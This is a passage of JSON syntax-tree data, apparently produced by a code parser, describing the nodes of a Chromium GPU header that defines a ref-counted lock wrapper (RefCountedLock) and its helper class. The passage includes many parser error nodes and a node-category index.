37, "type": "declaration", "text": "RefCountedLock(const RefCountedLock&) = delete;", "parent": 20, "children": [38, 42], "start_point": {"row": 20, "column": 2}, "end_point": {"row": 20, "column": 49}}, {"id": 38, "type": "macro_type_specifier", "text": "RefCountedLock(const RefCountedLock&)", "parent": 37, "children": [39, 40], "start_point": {"row": 20, "column": 2}, "end_point": {"row": 20, "column": 39}}, {"id": 39, "type": "identifier", "text": "RefCountedLock", "parent": 38, "children": [], "start_point": {"row": 20, "column": 2}, "end_point": {"row": 20, "column": 16}}, {"id": 40, "type": "type_descriptor", "text": "const RefCountedLock", "parent": 38, "children": [41], "start_point": {"row": 20, "column": 17}, "end_point": {"row": 20, "column": 37}}, {"id": 41, "type": "type_identifier", "text": "RefCountedLock", "parent": 40, "children": [], "start_point": {"row": 20, "column": 23}, "end_point": {"row": 20, "column": 37}}, {"id": 42, "type": "ERROR", "text": "=", "parent": 37, "children": [43], "start_point": {"row": 20, "column": 40}, "end_point": {"row": 20, "column": 41}}, {"id": 43, "type": "=", "text": "=", "parent": 42, "children": [], "start_point": {"row": 20, "column": 40}, "end_point": {"row": 20, "column": 41}}, {"id": 44, "type": "binary_expression", "text": "RefCountedLock& operator=(const RefCountedLock&) = delete", "parent": 20, "children": [45, 46], "start_point": {"row": 21, "column": 2}, "end_point": {"row": 21, "column": 59}}, {"id": 45, "type": "identifier", "text": "RefCountedLock", "parent": 44, "children": [], "start_point": {"row": 21, "column": 2}, "end_point": {"row": 21, "column": 16}}, {"id": 46, "type": "assignment_expression", "text": "operator=(const RefCountedLock&) = delete", "parent": 44, "children": [47, 48, 49], "start_point": {"row": 21, "column": 18}, "end_point": {"row": 21, "column": 59}}, {"id": 47, "type": "identifier", "text": "operator", "parent": 46, "children": [], "start_point": {"row": 21, "column": 18}, "end_point": {"row": 21, "column": 26}}, {"id": 48, "type": "=", "text": "=", "parent": 46, "children": [], "start_point": {"row": 21, "column": 26}, "end_point": {"row": 21, "column": 27}}, {"id": 49, "type": "cast_expression", "text": "(const RefCountedLock&) = delete", "parent": 46, "children": [50, 52], "start_point": {"row": 21, "column": 27}, "end_point": {"row": 21, "column": 59}}, {"id": 50, "type": "type_descriptor", "text": "const RefCountedLock", "parent": 49, "children": [51], "start_point": {"row": 21, "column": 28}, "end_point": {"row": 21, "column": 48}}, {"id": 51, "type": "type_identifier", "text": "RefCountedLock", "parent": 50, "children": [], "start_point": {"row": 21, "column": 34}, "end_point": {"row": 21, "column": 48}}, {"id": 52, "type": "ERROR", "text": "=", "parent": 49, "children": [53], "start_point": {"row": 21, "column": 51}, "end_point": {"row": 21, "column": 52}}, {"id": 53, "type": "=", "text": "=", "parent": 52, "children": [], "start_point": {"row": 21, "column": 51}, "end_point": {"row": 21, "column": 52}}, {"id": 54, "type": "labeled_statement", "text": "base::Lock* GetDrDcLockPtr() { return &lock_; }", "parent": 20, "children": [55, 56], "start_point": {"row": 23, "column": 2}, "end_point": {"row": 23, "column": 49}}, {"id": 55, "type": "statement_identifier", "text": "base", "parent": 54, "children": [], "start_point": {"row": 23, "column": 2}, "end_point": {"row": 23, "column": 6}}, {"id": 56, "type": "ERROR", "text": ":Lock* GetDrDcLockPtr()", "parent": 54, "children": [57, 58], "start_point": {"row": 23, "column": 7}, "end_point": {"row": 23, "column": 30}}, {"id": 57, "type": "type_identifier", "text": "Lock", "parent": 56, "children": [], "start_point": {"row": 23, "column": 8}, "end_point": {"row": 23, "column": 12}}, {"id": 58, "type": "pointer_declarator", "text": "* GetDrDcLockPtr()", "parent": 56, "children": [59, 60], "start_point": {"row": 23, "column": 12}, "end_point": {"row": 23, "column": 30}}, {"id": 59, "type": "*", "text": "*", "parent": 58, "children": [], "start_point": {"row": 23, "column": 12}, "end_point": {"row": 23, "column": 13}}, {"id": 60, "type": "function_declarator", "text": "GetDrDcLockPtr()", "parent": 58, "children": [61, 62], "start_point": {"row": 23, "column": 14}, "end_point": {"row": 23, "column": 30}}, {"id": 61, "type": "identifier", "text": "GetDrDcLockPtr", "parent": 60, "children": [], "start_point": {"row": 23, "column": 14}, "end_point": {"row": 23, "column": 28}}, {"id": 62, "type": "parameter_list", "text": "()", "parent": 60, "children": [], "start_point": {"row": 23, "column": 28}, "end_point": {"row": 23, "column": 30}}, {"id": 63, "type": "return_statement", "text": "return &lock_;", "parent": 54, "children": [64], "start_point": {"row": 23, "column": 33}, "end_point": {"row": 23, "column": 47}}, {"id": 64, "type": "pointer_expression", "text": "&lock_", "parent": 63, "children": [65], "start_point": {"row": 23, "column": 40}, "end_point": {"row": 23, "column": 46}}, {"id": 65, "type": "identifier", "text": "lock_", "parent": 64, "children": [], "start_point": {"row": 23, "column": 41}, "end_point": {"row": 23, "column": 46}}, {"id": 66, "type": "function_definition", "text": "void AssertAcquired() { lock_.AssertAcquired(); }", "parent": 20, "children": [67, 68], "start_point": {"row": 24, "column": 2}, "end_point": {"row": 24, "column": 51}}, {"id": 67, "type": "primitive_type", "text": "void", "parent": 66, "children": [], "start_point": {"row": 24, "column": 2}, "end_point": {"row": 24, "column": 6}}, {"id": 68, "type": "function_declarator", "text": "AssertAcquired()", "parent": 66, "children": [69, 70], "start_point": {"row": 24, "column": 7}, "end_point": {"row": 24, "column": 23}}, {"id": 69, "type": "identifier", "text": "AssertAcquired", "parent": 68, "children": [], "start_point": {"row": 24, "column": 7}, "end_point": {"row": 24, "column": 21}}, {"id": 70, "type": "parameter_list", "text": "()", "parent": 68, "children": [], "start_point": {"row": 24, "column": 21}, "end_point": {"row": 24, "column": 23}}, {"id": 71, "type": "call_expression", "text": "lock_.AssertAcquired()", "parent": 66, "children": [72, 75], "start_point": {"row": 24, "column": 26}, "end_point": {"row": 24, "column": 48}}, {"id": 72, "type": "field_expression", "text": "lock_.AssertAcquired", "parent": 71, "children": [73, 74], "start_point": {"row": 24, "column": 26}, "end_point": {"row": 24, "column": 46}}, {"id": 73, "type": "identifier", "text": "lock_", "parent": 72, "children": [], "start_point": {"row": 24, "column": 26}, "end_point": {"row": 24, "column": 31}}, {"id": 74, "type": "field_identifier", "text": "AssertAcquired", "parent": 72, "children": [], "start_point": {"row": 24, "column": 32}, "end_point": {"row": 24, "column": 46}}, {"id": 75, "type": "argument_list", "text": "()", "parent": 71, "children": [], "start_point": {"row": 24, "column": 46}, "end_point": {"row": 24, "column": 48}}, {"id": 76, "type": "labeled_statement", "text": "private:\n friend class", "parent": 20, "children": [77], "start_point": {"row": 26, "column": 1}, "end_point": {"row": 27, "column": 14}}, {"id": 77, "type": "declaration", "text": "friend class", "parent": 76, "children": [78], "start_point": {"row": 27, "column": 2}, "end_point": {"row": 27, "column": 14}}, {"id": 78, "type": "type_identifier", "text": "friend", "parent": 77, "children": [], "start_point": {"row": 27, "column": 2}, "end_point": {"row": 27, "column": 8}}, {"id": 79, "type": "labeled_statement", "text": "base::RefCountedThreadSafe<RefCountedLock>;", "parent": 20, "children": [80, 81], "start_point": {"row": 27, "column": 15}, "end_point": {"row": 27, "column": 58}}, {"id": 80, "type": "statement_identifier", "text": "base", "parent": 79, "children": [], "start_point": {"row": 27, "column": 15}, "end_point": {"row": 27, "column": 19}}, {"id": 81, "type": "ERROR", "text": ":RefCountedThreadSafe<RefCountedLock>", "parent": 79, "children": [82, 86], "start_point": {"row": 27, "column": 20}, "end_point": {"row": 27, "column": 57}}, {"id": 82, "type": "binary_expression", "text": "RefCountedThreadSafe<RefCountedLock", "parent": 81, "children": [83, 84, 85], "start_point": {"row": 27, "column": 21}, "end_point": {"row": 27, "column": 56}}, {"id": 83, "type": "identifier", "text": "RefCountedThreadSafe", "parent": 82, "children": [], "start_point": {"row": 27, "column": 21}, "end_point": {"row": 27, "column": 41}}, {"id": 84, "type": "<", "text": "<", "parent": 82, "children": [], "start_point": {"row": 27, "column": 41}, "end_point": {"row": 27, "column": 42}}, {"id": 85, "type": "identifier", "text": "RefCountedLock", "parent": 82, "children": [], "start_point": {"row": 27, "column": 42}, "end_point": {"row": 27, "column": 56}}, {"id": 86, "type": ">", "text": ">", "parent": 81, "children": [], "start_point": {"row": 27, "column": 56}, "end_point": {"row": 27, "column": 57}}, {"id": 87, "type": "unary_expression", "text": "~RefCountedLock() = default", "parent": 20, "children": [88, 89], "start_point": {"row": 28, "column": 2}, "end_point": {"row": 28, "column": 29}}, {"id": 88, "type": "~", "text": "~", "parent": 87, "children": [], "start_point": {"row": 28, "column": 2}, "end_point": {"row": 28, "column": 3}}, {"id": 89, "type": "assignment_expression", "text": "RefCountedLock() = default", "parent": 87, "children": [90, 93, 94], "start_point": {"row": 28, "column": 3}, "end_point": {"row": 28, "column": 29}}, {"id": 90, "type": "call_expression", "text": "RefCountedLock()", "parent": 89, "children": [91, 92], "start_point": {"row": 28, "column": 3}, "end_point": {"row": 28, "column": 19}}, {"id": 91, "type": "identifier", "text": "RefCountedLock", "parent": 90, "children": [], "start_point": {"row": 28, "column": 3}, "end_point": {"row": 28, "column": 17}}, {"id": 92, "type": "argument_list", "text": "()", "parent": 90, "children": [], "start_point": {"row": 28, "column": 17}, "end_point": {"row": 28, "column": 19}}, {"id": 93, "type": "=", "text": "=", "parent": 89, "children": [], "start_point": {"row": 28, "column": 20}, "end_point": {"row": 28, "column": 21}}, {"id": 94, "type": "identifier", "text": "default", "parent": 89, "children": [], "start_point": {"row": 28, "column": 22}, "end_point": {"row": 28, "column": 29}}, {"id": 95, "type": "labeled_statement", "text": "base::Lock lock_;", "parent": 20, "children": [96, 97], "start_point": {"row": 30, "column": 2}, "end_point": {"row": 30, "column": 19}}, {"id": 96, "type": "statement_identifier", "text": "base", "parent": 95, "children": [], "start_point": {"row": 30, "column": 2}, "end_point": {"row": 30, "column": 6}}, {"id": 97, "type": "declaration", "text": "Lock lock_;", "parent": 95, "children": [98, 99], "start_point": {"row": 30, "column": 8}, "end_point": {"row": 30, "column": 19}}, {"id": 98, "type": "type_identifier", "text": "Lock", "parent": 97, "children": [], "start_point": {"row": 30, "column": 8}, "end_point": {"row": 30, "column": 12}}, {"id": 99, "type": "identifier", "text": "lock_", "parent": 97, "children": [], "start_point": {"row": 30, "column": 13}, "end_point": {"row": 30, "column": 18}}, {"id": 100, "type": "function_definition", "text": "class GPU_GLES2_EXPORT RefCountedLockHelperDrDc {\n public:\n explicit RefCountedLockHelperDrDc(scoped_refptr<RefCountedLock> lock);\n ~RefCountedLockHelperDrDc();\n\n base::Lock* GetDrDcLockPtr() const {\n return lock_ ? lock_->GetDrDcLockPtr() : nullptr;\n }\n\n const scoped_refptr<RefCountedLock>& GetDrDcLock() { return lock_; }\n\n void AssertAcquiredDrDcLock() const {\n if (lock_)\n lock_->AssertAcquired();\n }\n\n std::unique_ptr<base::AutoLockMaybe> GetScopedDrDcLock() const {\n return std::make_unique<base::AutoLockMaybe>(GetDrDcLockPtr());\n }", "parent": 15, "children": [101, 103], "start_point": {"row": 34, "column": 0}, "end_point": {"row": 52, "column": 3}}, {"id": 101, "type": "ERROR", "text": "GPU_GLES2_EXPORT", "parent": 100, "children": [102], "start_point": {"row": 34, "column": 6}, "end_point": {"row": 34, "column": 22}}, {"id": 102, "type": "identifier", "text": "GPU_GLES2_EXPORT", "parent": 101, "children": [], "start_point": {"row": 34, "column": 6}, "end_point": {"row": 34, "column": 22}}, {"id": 103, "type": "identifier", "text": "RefCountedLockHelperDrDc", "parent": 100, "children": [], "start_point": {"row": 34, "column": 23}, "end_point": {"row": 34, "column": 47}}, {"id": 104, "type": "binary_expression", "text": "public:\n explicit RefCountedLockHelperDrDc(scoped_refptr<RefCountedLock> lock", "parent": 100, "children": [105, 112, 113], "start_point": {"row": 35, "column": 1}, "end_point": {"row": 36, "column": 70}}, {"id": 105, "type": "binary_expression", "text": "public:\n explicit RefCountedLockHelperDrDc(scoped_refptr<RefCountedLock", "parent": 104, "children": [106, 110, 111], "start_point": {"row": 35, "column": 1}, "end_point": {"row": 36, "column": 64}}, {"id": 106, "type": "ERROR", "text": ":\n explicit RefCountedLockHelperDrDc(scoped_refptr", "parent": 105, "children": [107, 108, 109], "start_point": {"row": 35, "column": 7}, "end_point": {"row": 36, "column": 49}}, {"id": 107, "type": "type_identifier", "text": "explicit", "parent": 106, "children": [], "start_point": {"row": 36, "column": 2}, "end_point": {"row": 36, "column": 10}}, {"id": 108, "type": "identifier", "text": "RefCountedLockHelperDrDc", "parent": 106, "children": [], "start_point": {"row": 36, "column": 11}, "end_point": {"row": 36, "column": 35}}, {"id": 109, "type": "identifier", "text": "scoped_refptr", "parent": 106, "children": [], "start_point": {"row": 36, "column": 36}, "end_point": {"row": 36, "column": 49}}, {"id": 110, "type": "<", "text": "<", "parent": 105, "children": [], "start_point": {"row": 36, "column": 49}, "end_point": {"row": 36, "column": 50}}, {"id": 111, "type": "identifier", "text": "RefCountedLock", "parent": 105, "children": [], "start_point": {"row": 36, "column": 50}, "end_point": {"row": 36, "column": 64}}, {"id": 112, "type": ">", "text": ">", "parent": 104, "children": [], "start_point": {"row": 36, "column": 64}, "end_point": {"row": 36, "column": 65}}, {"id": 113, "type": "identifier", "text": "lock", "parent": 104, "children": [], "start_point": {"row": 36, "column": 66}, "end_point": {"row": 36, "column": 70}}, {"id": 114, "type": "unary_expression", "text": "~RefCountedLockHelperDrDc()", "parent": 100, "children": [115, 116], "start_point": {"row": 37, "column": 2}, "end_point": {"row": 37, "column": 29}}, {"id": 115, "type": "~", "text": "~", "parent": 114, "children": [], "start_point": {"row": 37, "column": 2}, "end_point": {"row": 37, "column": 3}}, {"id": 116, "type": "call_expression", "text": "RefCountedLockHelperDrDc()", "parent": 114, "children": [117, 118], "start_point": {"row": 37, "column": 3}, "end_point": {"row": 37, "column": 29}}, {"id": 117, "type": "identifier", "text": "RefCountedLockHelperDrDc", "parent": 116, "children": [], "start_point": {"row": 37, "column": 3}, "end_point": {"row": 37, "column": 27}}, {"id": 118, "type": "argument_list", "text": "()", "parent": 116, "children": [], "start_point": {"row": 37, "column": 27}, "end_point": {"row": 37, "column": 29}}, {"id": 119, "type": "labeled_statement", "text": "base::Lock* GetDrDcLockPtr() const {\n return lock_ ? lock_->GetDrDcLockPtr() : nullptr;\n }", "parent": 100, "children": [120, 121], "start_point": {"row": 39, "column": 2}, "end_point": {"row": 41, "column": 3}}, {"id": 120, "type": "statement_identifier", "text": "base", "parent": 119, "children": [], "start_point": {"row": 39, "column": 2}, "end_point": {"row": 39, "column": 6}}, {"id": 121, "type": "ERROR", "text": ":Lock* GetDrDcLockPtr() const", "parent": 119, "children": [122, 123], "start_point": {"row": 39, "column": 7}, "end_point": {"row": 39, "column": 36}}, {"id": 122, "type": "type_identifier", "text": "Lock", "parent": 121, "children": [], "start_point": {"row": 39, "column": 8}, "end_point": {"row": 39, "column": 12}}, {"id": 123, "type": "pointer_declarator", "text": "* GetDrDcLockPtr() const", "parent": 121, "children": [124, 125], "start_point": {"row": 39, "column": 12}, "end_point": {"row": 39, "column": 36}}, {"id": 124, "type": "*", "text": "*", "parent": 123, "children": [], "start_point": {"row": 39, "column": 12}, "end_point": {"row": 39, "column": 13}}, {"id": 125, "type": "function_declarator", "text": "GetDrDcLockPtr() const", "parent": 123, "children": [126, 127], "start_point": {"row": 39, "column": 14}, "end_point": {"row": 39, "column": 36}}, {"id": 126, "type": "identifier", "text": "GetDrDcLockPtr", "parent": 125, "children": [], "start_point": {"row": 39, "column": 14}, "end_point": {"row": 39, "column": 28}}, {"id": 127, "type": "parameter_list", "text": "()", "parent": 125, "children": [], "start_point": {"row": 39, "column": 28}, "end_point": {"row": 39, "column": 30}}, {"id": 128, "type": "return_statement", "text": "return lock_ ? lock_->GetDrDcLockPtr() : nullptr;", "parent": 119, "children": [129], "start_point": {"row": 40, "column": 4}, "end_point": {"row": 40, "column": 53}}, {"id": 129, "type": "conditional_expression", "text": "lock_ ? lock_->GetDrDcLockPtr() : nullptr", "parent": 128, "children": [130, 131, 132, 137], "start_point": {"row": 40, "column": 11}, "end_point": {"row": 40, "column": 52}}, {"id": 130, "type": "identifier", "text": "lock_", "parent": 129, "children": [], "start_point": {"row": 40, "column": 11}, "end_point": {"row": 40, "column": 16}}, {"id": 131, "type": "?", "text": "?", "parent": 129, "children": [], "start_point": {"row": 40, "column": 17}, "end_point": {"row": 40, "column": 18}}, {"id": 132, "type": "call_expression", "text": "lock_->GetDrDcLockPtr()", "parent": 129, "children": [133, 136], "start_point": {"row": 40, "column": 19}, "end_point": {"row": 40, "column": 42}}, {"id": 133, "type": "field_expression", "text": "lock_->GetDrDcLockPtr", "parent": 132, "children": [134, 135], "start_point": {"row": 40, "column": 19}, "end_point": {"row": 40, "column": 40}}, {"id": 134, "type": "identifier", "text": "lock_", "parent": 133, "children": [], "start_point": {"row": 40, "column": 19}, "end_point": {"row": 40, "column": 24}}, {"id": 135, "type": "field_identifier", "text": "GetDrDcLockPtr", "parent": 133, "children": [], "start_point": {"row": 40, "column": 26}, "end_point": {"row": 40, "column": 40}}, {"id": 136, "type": "argument_list", "text": "()", "parent": 132, "children": [], "start_point": {"row": 40, "column": 40}, "end_point": {"row": 40, "column": 42}}, {"id": 137, "type": "null", "text": "nullptr", "parent": 129, "children": [138], "start_point": {"row": 40, "column": 45}, "end_point": {"row": 40, "column": 52}}, {"id": 138, "type": "nullptr", "text": "nullptr", "parent": 137, "children": [], "start_point": {"row": 40, "column": 45}, "end_point": {"row": 40, "column": 52}}, {"id": 139, "type": "function_definition", "text": "const scoped_refptr<RefCountedLock>& GetDrDcLock() { return lock_; }", "parent": 100, "children": [140, 141, 145], "start_point": {"row": 43, "column": 2}, "end_point": {"row": 43, "column": 70}}, {"id": 140, "type": "type_identifier", "text": "scoped_refptr", "parent": 139, "children": [], "start_point": {"row": 43, "column": 8}, "end_point": {"row": 43, "column": 21}}, {"id": 141, "type": "ERROR", "text": "<RefCountedLock>&", "parent": 139, "children": [142, 143, 144], "start_point": {"row": 43, "column": 21}, "end_point": {"row": 43, "column": 38}}, {"id": 142, "type": "<", "text": "<", "parent": 141, "children": [], "start_point": {"row": 43, "column": 21}, "end_point": {"row": 43, "column": 22}}, {"id": 143, "type": "identifier", "text": "RefCountedLock", "parent": 141, "children": [], "start_point": {"row": 43, "column": 22}, "end_point": {"row": 43, "column": 36}}, {"id": 144, "type": ">", "text": ">", "parent": 141, "children": [], "start_point": {"row": 43, "column": 36}, "end_point": {"row": 43, "column": 37}}, {"id": 145, "type": "function_declarator", "text": "GetDrDcLock()", "parent": 139, "children": [146, 147], "start_point": {"row": 43, "column": 39}, "end_point": {"row": 43, "column": 52}}, {"id": 146, "type": "identifier", "text": "GetDrDcLock", "parent": 145, "children": [], "start_point": {"row": 43, "column": 39}, "end_point": {"row": 43, "column": 50}}, {"id": 147, "type": "parameter_list", "text": "()", "parent": 145, "children": [], "start_point": {"row": 43, "column": 50}, "end_point": {"row": 43, "column": 52}}, {"id": 148, "type": "return_statement", "text": "return lock_;", "parent": 139, "children": [149], "start_point": {"row": 43, "column": 55}, "end_point": {"row": 43, "column": 68}}, {"id": 149, "type": "identifier", "text": "lock_", "parent": 148, "children": [], "start_point": {"row": 43, "column": 62}, "end_point": {"row": 43, "column": 67}}, {"id": 150, "type": "ERROR", "text": "void AssertAcquiredDrDcLock() const", "parent": 100, "children": [151, 152], "start_point": {"row": 45, "column": 2}, "end_point": {"row": 45, "column": 37}}, {"id": 151, "type": "primitive_type", "text": "void", "parent": 150, "children": [], "start_point": {"row": 45, "column": 2}, "end_point": {"row": 45, "column": 6}}, {"id": 152, "type": "function_declarator", "text": "AssertAcquiredDrDcLock()", "parent": 150, "children": [153, 154], "start_point": {"row": 45, "column": 7}, "end_point": {"row": 45, "column": 31}}, {"id": 153, "type": "identifier", "text": "AssertAcquiredDrDcLock", "parent": 152, "children": [], "start_point": {"row": 45, "column": 7}, "end_point": {"row": 45, "column": 29}}, {"id": 154, "type": "parameter_list", "text": "()", "parent": 152, "children": [], "start_point": {"row": 45, "column": 29}, "end_point": {"row": 45, "column": 31}}, {"id": 155, "type": "if_statement", "text": "if (lock_)\n lock_->AssertAcquired();", "parent": 100, "children": [156], "start_point": {"row": 46, "column": 4}, "end_point": {"row": 47, "column": 30}}, {"id": 156, "type": "parenthesized_expression", "text": "(lock_)", "parent": 155, "children": [157], "start_point": {"row": 46, "column": 7}, "end_point": {"row": 46, "column": 14}}, {"id": 157, "type": "identifier", "text": "lock_", "parent": 156, "children": [], "start_point": {"row": 46, "column": 8}, "end_point": {"row": 46, "column": 13}}, {"id": 158, "type": "call_expression", "text": "lock_->AssertAcquired()", "parent": 155, "children": [159, 162], "start_point": {"row": 47, "column": 6}, "end_point": {"row": 47, "column": 29}}, {"id": 159, "type": "field_expression", "text": "lock_->AssertAcquired", "parent": 158, "children": [160, 161], "start_point": {"row": 47, "column": 6}, "end_point": {"row": 47, "column": 27}}, {"id": 160, "type": "identifier", "text": "lock_", "parent": 159, "children": [], "start_point": {"row": 47, "column": 6}, "end_point": {"row": 47, "column": 11}}, {"id": 161, "type": "field_identifier", "text": "AssertAcquired", "parent": 159, "children": [], "start_point": {"row": 47, "column": 13}, "end_point": {"row": 47, "column": 27}}, {"id": 162, "type": "argument_list", "text": "()", "parent": 158, "children": [], "start_point": {"row": 47, "column": 27}, "end_point": {"row": 47, "column": 29}}, {"id": 163, "type": "labeled_statement", "text": "std::unique_ptr<base::AutoLockMaybe> GetScopedDrDcLock() const {\n return std::make_unique<base::AutoLockMaybe>(GetDrDcLockPtr());", "parent": 100, "children": [164, 165], "start_point": {"row": 50, "column": 2}, "end_point": {"row": 51, "column": 67}}, {"id": 164, "type": "statement_identifier", "text": "std", "parent": 163, "children": [], "start_point": {"row": 50, "column": 2}, "end_point": {"row": 50, "column": 5}}, {"id": 165, "type": "ERROR", "text": "::unique_ptr<base::AutoLockMaybe> GetScopedDrDcLock() const {\n return std::make_unique<base:", "parent": 163, "children": [166, 170, 177, 178], "start_point": {"row": 50, "column": 5}, "end_point": {"row": 51, "column": 33}}, {"id": 166, "type": "binary_expression", "text": "unique_ptr<base", "parent": 165, "children": [167, 168, 169], "start_point": {"row": 50, "column": 7}, "end_point": {"row": 50, "column": 22}}, {"id": 167, "type": "identifier", "text": "unique_ptr", "parent": 166, "children": [], "start_point": {"row": 50, "column": 7}, "end_point": {"row": 50, "column": 17}}, {"id": 168, "type": "<", "text": "<", "parent": 166, "children": [], "start_point": {"row": 50, "column": 17}, "end_point": {"row": 50, "column": 18}}, {"id": 169, "type": "identifier", "text": "base", "parent": 166, "children": [], "start_point": {"row": 50, "column": 18}, "end_point": {"row": 50, "column": 22}}, {"id": 170, "type": "ERROR", "text": "AutoLockMaybe> GetScopedDrDcLock() const", "parent": 165, "children": [171], "start_point": {"row": 50, "column": 24}, "end_point": {"row": 50, "column": 64}}, {"id": 171, "type": "binary_expression", "text": "AutoLockMaybe> GetScopedDrDcLock()", "parent": 170, "children": [172, 173, 174], "start_point": {"row": 50, "column": 24}, "end_point": {"row": 50, "column": 58}}, {"id": 172, "type": "identifier", "text": "AutoLockMaybe", "parent": 171, "children": [], "start_point": {"row": 50, "column": 24}, "end_point": {"row": 50, "column": 37}}, {"id": 173, "type": ">", "text": ">", "parent": 171, "children": [], "start_point": {"row": 50, "column": 37}, "end_point": {"row": 50, "column": 38}}, {"id": 174, "type": "call_expression", "text": "GetScopedDrDcLock()", "parent": 171, "children": [175, 176], "start_point": {"row": 50, "column": 39}, "end_point": {"row": 50, "column": 58}}, {"id": 175, "type": "identifier", "text": "GetScopedDrDcLock", "parent": 174, "children": [], "start_point": {"row": 50, "column": 39}, "end_point": {"row": 50, "column": 56}}, {"id": 176, "type": "argument_list", "text": "()", "parent": 174, "children": [], "start_point": {"row": 50, "column": 56}, "end_point": {"row": 50, "column": 58}}, {"id": 177, "type": "identifier", "text": "std", "parent": 165, "children": [], "start_point": {"row": 51, "column": 11}, "end_point": {"row": 51, "column": 14}}, {"id": 178, "type": "binary_expression", "text": "make_unique<base", "parent": 165, "children": [179, 180, 181], "start_point": {"row": 51, "column": 16}, "end_point": {"row": 51, "column": 32}}, {"id": 179, "type": "identifier", "text": "make_unique", "parent": 178, "children": [], "start_point": {"row": 51, "column": 16}, "end_point": {"row": 51, "column": 27}}, {"id": 180, "type": "<", "text": "<", "parent": 178, "children": [], "start_point": {"row": 51, "column": 27}, "end_point": {"row": 51, "column": 28}}, {"id": 181, "type": "identifier", "text": "base", "parent": 178, "children": [], "start_point": {"row": 51, "column": 28}, "end_point": {"row": 51, "column": 32}}, {"id": 182, "type": "binary_expression", "text": "AutoLockMaybe>(GetDrDcLockPtr())", "parent": 163, "children": [183, 184, 185], "start_point": {"row": 51, "column": 34}, "end_point": {"row": 51, "column": 66}}, {"id": 183, "type": "identifier", "text": "AutoLockMaybe", "parent": 182, "children": [], "start_point": {"row": 51, "column": 34}, "end_point": {"row": 51, "column": 47}}, {"id": 184, "type": ">", "text": ">", "parent": 182, "children": [], "start_point": {"row": 51, "column": 47}, "end_point": {"row": 51, "column": 48}}, {"id": 185, "type": "parenthesized_expression", "text": "(GetDrDcLockPtr())", "parent": 182, "children": [186], "start_point": {"row": 51, "column": 48}, "end_point": {"row": 51, "column": 66}}, {"id": 186, "type": "call_expression", "text": "GetDrDcLockPtr()", "parent": 185, "children": [187, 188], "start_point": {"row": 51, "column": 49}, "end_point": {"row": 51, "column": 65}}, {"id": 187, "type": "identifier", "text": "GetDrDcLockPtr", "parent": 186, "children": [], "start_point": {"row": 51, "column": 49}, "end_point": {"row": 51, "column": 63}}, {"id": 188, "type": "argument_list", "text": "()", "parent": 186, "children": [], "start_point": {"row": 51, "column": 63}, "end_point": {"row": 51, "column": 65}}, {"id": 189, "type": "binary_expression", "text": "private:\n mutable scoped_refptr<RefCountedLock> lock_", "parent": 15, "children": [190, 196, 197], "start_point": {"row": 54, "column": 1}, "end_point": {"row": 55, "column": 45}}, {"id": 190, "type": "binary_expression", "text": "private:\n mutable scoped_refptr<RefCountedLock", "parent": 189, "children": [191, 194, 195], "start_point": {"row": 54, "column": 1}, "end_point": {"row": 55, "column": 38}}, {"id": 191, "type": "ERROR", "text": ":\n mutable scoped_refptr", "parent": 190, "children": [192, 193], "start_point": {"row": 54, "column": 8}, "end_point": {"row": 55, "column": 23}}, {"id": 192, "type": "type_identifier", "text": "mutable", "parent": 191, "children": [], "start_point": {"row": 55, "column": 2}, "end_point": {"row": 55, "column": 9}}, {"id": 193, "type": "identifier", "text": "scoped_refptr", "parent": 191, "children": [], "start_point": {"row": 55, "column": 10}, "end_point": {"row": 55, "column": 23}}, {"id": 194, "type": "<", "text": "<", "parent": 190, "children": [], "start_point": {"row": 55, "column": 23}, "end_point": {"row": 55, "column": 24}}, {"id": 195, "type": "identifier", "text": "RefCountedLock", "parent": 190, "children": [], "start_point": {"row": 55, "column": 24}, "end_point": {"row": 55, "column": 38}}, {"id": 196, "type": ">", "text": ">", "parent": 189, "children": [], "start_point": {"row": 55, "column": 38}, "end_point": {"row": 55, "column": 39}}, {"id": 197, "type": "identifier", "text": "lock_", "parent": 189, "children": [], "start_point": {"row": 55, "column": 40}, "end_point": {"row": 55, "column": 45}}, {"id": 198, "type": "#endif", "text": "#endif", "parent": 0, "children": [], "start_point": {"row": 60, "column": 0}, "end_point": {"row": 60, "column": 6}}]}, "node_categories": {"declarations": {"functions": [15, 60, 66, 68, 100, 125, 139, 145, 152], "variables": [18, 37, 77, 97], "classes": [], "imports": [6, 7, 9, 10, 12, 13], "modules": [], "enums": []}, "statements": {"expressions": [25, 32, 44, 49, 64, 71, 72, 82, 87, 90, 104, 105, 114, 116, 132, 133, 156, 158, 159, 166, 171, 174, 178, 182, 185, 186, 189, 190], "assignments": [31, 46, 89], "loops": [], "conditionals": [0, 1, 2, 5, 16, 17, 19, 21, 23, 26, 28, 33, 36, 38, 39, 41, 45, 47, 51, 55, 57, 61, 65, 69, 73, 74, 78, 80, 83, 85, 91, 94, 96, 98, 99, 102, 103, 107, 108, 109, 111, 113, 117, 120, 122, 126, 129, 130, 134, 135, 140, 143, 146, 149, 153, 155, 157, 160, 161, 164, 167, 169, 172, 175, 177, 179, 181, 183, 187, 192, 193, 195, 197, 198], "returns": [63, 128, 148], "exceptions": []}, "expressions": {"calls": [], "literals": [8, 11, 14], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 15, "universal_type": "function", "name": "GPU_GLES2_EXPORT", "text_snippet": "namespace gpu {\n\n// Ref counted wrapper for base::Lock.\nclass GPU_GLES2_EXPORT RefCountedLock\n : "}, {"node_id": 60, "universal_type": "function", "name": "unknown", "text_snippet": "GetDrDcLockPtr()"}, {"node_id": 66, "universal_type": "function", "name": "AssertAcquired", "text_snippet": "void AssertAcquired() { lock_.AssertAcquired(); }"}, {"node_id": 68, "universal_type": "function", "name": "unknown", "text_snippet": "AssertAcquired()"}, {"node_id": 100, "universal_type": "function", "name": "GPU_GLES2_EXPORT", "text_snippet": "class GPU_GLES2_EXPORT RefCountedLockHelperDrDc {\n public:\n explicit RefCountedLockHelperDrDc(scope"}, {"node_id": 125, "universal_type": "function", "name": "unknown", "text_snippet": "GetDrDcLockPtr() const"}, {"node_id": 139, "universal_type": "function", "name": "unknown", "text_snippet": "const scoped_refptr<RefCountedLock>& GetDrDcLock() { return lock_; }"}, {"node_id": 145, "universal_type": "function", "name": "unknown", "text_snippet": "GetDrDcLock()"}, {"node_id": 152, "universal_type": "function", "name": "unknown", "text_snippet": "AssertAcquiredDrDcLock()"}], "class_declarations": [], "import_statements": [{"node_id": 6, "text": "#include \"base/memory/ref_counted.h\"\n"}, {"node_id": 7, "text": "#include"}, {"node_id": 9, "text": "#include \"base/synchronization/lock.h\"\n"}, {"node_id": 10, "text": "#include"}, 